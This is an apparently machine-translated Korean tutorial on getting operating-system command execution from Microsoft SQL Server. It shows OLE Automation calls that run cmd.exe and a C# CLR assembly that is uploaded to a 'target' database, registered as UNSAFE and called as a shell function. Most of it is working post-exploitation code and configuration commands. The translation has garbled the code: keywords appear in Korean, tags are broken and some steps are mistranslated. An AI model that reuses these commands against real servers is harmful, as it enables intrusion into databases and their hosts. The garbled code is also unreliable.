COM을 사용하여 명령 실행
(Ole 자동화 프로시저 구성 요소를 활성화해야 함)선언 @luan <span>int</span>,@exec <span>int</span>,@text <span>int</span>,@str varchar(< 범위>8000 </span>);<br><span>exec</span> sp_oacreate <span>'{72C24DD5-D70A-438B-8A42-98424B88AFB8}'</span>,@luan 출력;<br><span>exec</span> sp_oamethod @luan,<span>'exec'</span> ,@exec 출력,<span>'C:\\Windows\\System32\\cmd.exe /c whoami'</span>;<br><span>exec</span> sp_oamethod @exec, <span>'StdOut'</span>, @text out;<br><span>exec</span> sp_oamethod @ 텍스트, <span>'readall'</span>, @str out;<br><span>선택</span> @str;<br>
Ole 자동화 프로시저가 활성화되지 않은 경우 다음 명령을 사용하여 활성화할 수 있습니다.
<span>sp_configure</span> <span>'고급 옵션 표시'</span>, <span>1</span>;<br> <span>GO< /span><br>RECONFIGURE;<br><span>GO</span><br>sp_configure <span>'Ole 자동화 절차'</span>, <span>1</span>;<br><span>GO</span><br>RECONFIGURE;<br><span>GO</span><br>
작성 언어: C#
VsCreate 클래스 라이브러리
<span> 사용 </span> 시스템;<br><span>사용</span> System.Collections.Generic;<br><span>사용</span> System.Linq;<br><span>사용</span> System.Text;<br><span>사용</span> 시스템;<br><span>사용</span> System.Threading.Tasks;<br><br><span>네임스페이스</span> <span >shellexec</span><br>{<br> <span>공개</span> <span>클래스</span> <span>exec</span><br> {<br> <span><span>공개</span> <span>정적</span> <span>문자열</span> <span>cmd</span>(<span><span>문자열</span> 명령</span> 범위>)<br> </span>{<br> System.Diagnostics.Process pro = <span>새</span> System.Diagnostics.Process();<br> pro.StartInfo.FileName = <span>"cmd.exe"</span>;<br> pro.StartInfo.UseShellExecute = <span>false</span>;<br> pro.StartInfo.RedirectStandardError = <span>true</span>; <span>//표준 오류</span><br> pro.StartInfo.RedirectStandardInput = <span>true</span>; <span>//표준 입력</span><br> pro.StartInfo.RedirectStandardOutput = <span>true</span> <span>//표준 출력</span><br> pro.StartInfo.CreateNoWindow = < span>true</span>; <span>//새 창에서 프로세스를 열지 여부</span><br> pro.Start();<br> pro.StandardInput.WriteLine(command + <span>"&&exit"</span>); <span>//명령 매개변수 쓰기</span><br> pro.StandardInput.AutoFlush = <span>true < /span>; <span>//버퍼가 자동으로 새로 고쳐집니다.</span><br> <span>string</span> 출력 = pro.StandardOutput.ReadToEnd(); <span>//실행 결과 읽기</span><br> pro.WaitForExit(); <span>//실행이 완료될 때까지 기다린 후 종료</span><br> pro.Close();<br> < span> return</span>output.ToString();<br> }<br> }<br>}<br><br>
dll을 생성한 후 16진수 메서드를 사용하여 대상에 쓰거나 셸 업로드를 사용할 수 있습니다. . 그런 다음 구성을 시작합니다.
1. 대상 데이터베이스 인스턴스는 clr 통합
<span>exec</span> sp_configure <span>'clr 활성화'</span>를 활성화해야 합니다.1;--SQL Server에서 CLR을 활성화합니다.<br>reconfigure;<br>go<br>
2. 대상 데이터베이스의 신뢰 속성을 false로 설정해야 합니다. 다음 명령문을 사용하여
<span>ALTER<를 활성화할 수 있습니다. /span> <span >DATABASE</span> [<데이터베이스 이름>] <span>SET</span> TRUSTWORTHY <span>ON</span><br>
3. 데이터베이스에 DLL을 등록합니다.
<span>CREATE</span> <span>ASSEMBLY</span> MySqlCLR <span>FROM</span> <span>'<dll 경로>'</span> //MySqlCLR은 dll을 가져온 후의 변수입니다. 이름<br>
4. 함수 생성
(해당 함수 유형의 매개변수에 따라 해당 매개변수 유형을 구성한 후 RETURNS [nvarchar] (최대) 문자열 유형을 반환하는 경우 최대값을 반환하도록 설정해야 합니다. 직접적으로 이 dll의 이름은 해당 네임스페이스, 클래스, 함수에 있습니다.
<span>생성</span> <span>함수</span> [dbo].[cmd2] <br>( <br> @cmd <span>AS</span> <span>NVARCHAR</span>(< 범위>최대</span>)<br>) <br><span>반환</span> [<span>nvarchar</span>] (<span>최대</span>) <span>WITH</span> <span>실행</span> <span>AS</span> 호출자<br><span>AS</span> <br><span>외부</span> <span> 이름</span> [MySqlCLR].[shellexec.exec].cmd //shellexec는 네임스페이스, exec는 클래스 이름, cmd는 함수 이름<br><span>GO</span><br>
5. 어셈블리의 권한 수준은 외부 액세스로 설정되어야 합니다. 그렇지 않으면 오류가 발생합니다.
<span>ALTER</span> <span>ASSEMBLY</span> [MySqlCLR]<br><span>WITH</span> PERMISSION_SET = 배포 중에 보고됩니다. <span>UNSAFE</span><br>
6. 저장 프로시저를 호출하고 함수 메서드를
선택하여 [<span>dbo</span>].[<span>cmd2</span>](<span>'whoami'< /범위>)<br>
참조 링크:
https://blog.csdn.net/catchme_439/article/details/78411009
https://zhuanlan.zhihu.com/p/33322584?from_voters_page=true